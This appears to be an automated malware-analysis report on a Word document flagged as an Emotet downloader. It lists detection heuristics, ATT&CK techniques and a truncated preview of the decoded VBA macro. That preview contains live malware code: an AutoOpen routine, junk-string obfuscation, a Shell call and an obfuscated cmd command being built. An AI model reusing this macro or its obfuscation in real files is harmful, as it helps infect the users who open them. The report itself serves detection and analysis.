MALICIOUS
182
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is identified as malicious by ClamAV with the signature Doc.Downloader.Emotet-6884095-0. Static analysis revealed a VBA macro with an AutoOpen function, which is a common execution vector for Emotet. The macro is designed to execute a payload, likely a second-stage downloader, as indicated by the 'Shell' execution token in the VBA p-code.
Heuristics 6
-
ClamAV: Doc.Downloader.Emotet-6884095-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Emotet-6884095-0
-
VBA macros detected medium 2 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13414 bytes |
SHA-256: e44edf84a599e89e706d8341724a5228fb3b5226578d5c15f384a9f252200e3a |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "BTKdwZCE" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Sub AutoOpen() Const ZrCmEA = 0 Dim TYDiiE(3) TYDiiE(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) TYDiiE(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) TYDiiE(2) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) Dim LJEOi(4) LJEOi(0) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) LJEOi(1) = Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) LJEOi(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) LJEOi(3) = MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883) Dim IvPcEj(4) IvPcEj(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) IvPcEj(1) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Left(bZGoFYi, 398) IvPcEj(2) = Right(lurHJSV, 153) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) IvPcEj(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) Dim XFotz(2) XFotz(0) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153) XFotz(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) Dim AtqAEV(5) AtqAEV(0) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) AtqAEV(1) = Right(lurHJSV, 153) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) AtqAEV(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) AtqAEV(3) = Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335) AtqAEV(4) = MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) + Left(bZGoFYi, 398) Shell@ qFjRwXn + hSLacifTib + YQzqREqYkrV, ZrCmEA Dim Vmpfc(2) Vmpfc(0) = Left(bZGoFYi, 398) + Right(lurHJSV, 153) Vmpfc(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) End Sub Attribute VB_Name = "kVTlKQXpaUL" Function qFjRwXn() Dim vnPIIK(5) vnPIIK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) vnPIIK(1) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + Right(lurHJSV, 153) + Mid(PVPjOoqM, 329, 335) vnPIIK(2) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) vnPIIK(3) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) vnPIIK(4) = Left(bZGoFYi, 398) + Right(lurHJSV, 153) Dim HHbSb(5) HHbSb(0) = Right(lurHJSV, 153) + Left(bZGoFYi, 398) HHbSb(1) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883) HHbSb(2) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) HHbSb(3) = Right(lurHJSV, 153) + Right(lurHJSV, 153) HHbSb(4) = Right(lurHJSV, 153) + Right(lurHJSV, 153) Dim ZvvzpG(3) ZvvzpG(0) = Left(bZGoFYi, 398) + Left(bZGoFYi, 398) ZvvzpG(1) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) ZvvzpG(2) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Left(bZGoFYi, 398) + Mid(PVPjOoqM, 329, 335) zQYuIrlkRO = CStr(Chr(CleanString(4 + 12 + 6 + 3 + 74))) + "md /V^:^O" + "N/" + CStr(Chr(CleanString(2 + 8 + 4 + 2 + 51))) + CStr(Chr(CleanString(1 + 4 + 2 + 1 + 26))) + "^s^e^t " + "w^0" + "^bH=^ ^ " + "^ ^ ^" Dim KCfzK(5) KCfzK(0) = Mid(PVPjOoqM, 329, 335) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) KCfzK(1) = MidB(Pmlbl, 230, 883) + Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) KCfzK(2) = Right(lurHJSV, 153) + MidB(Pmlbl, 230, 883) KCfzK(3) = Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) KCfzK(4) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883) Dim qObaq(4) qObaq(0) = Mid(PVPjOoqM, 329, 335) + Mid(PVPjOoqM, 329, 335) qObaq(1) = MidB(Pmlbl, 230, 883) + MidB(Pmlbl, 230, 883) + Mid(PVPjOoqM, 329, 335) + Left(bZGoFYi, 398) qObaq(2) = Mid(PVPjOoqM, 329, 335) + MidB(Pmlbl, 230, 883) qObaq(3) = MidB(Pmlbl, 230, 883) + Lef ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.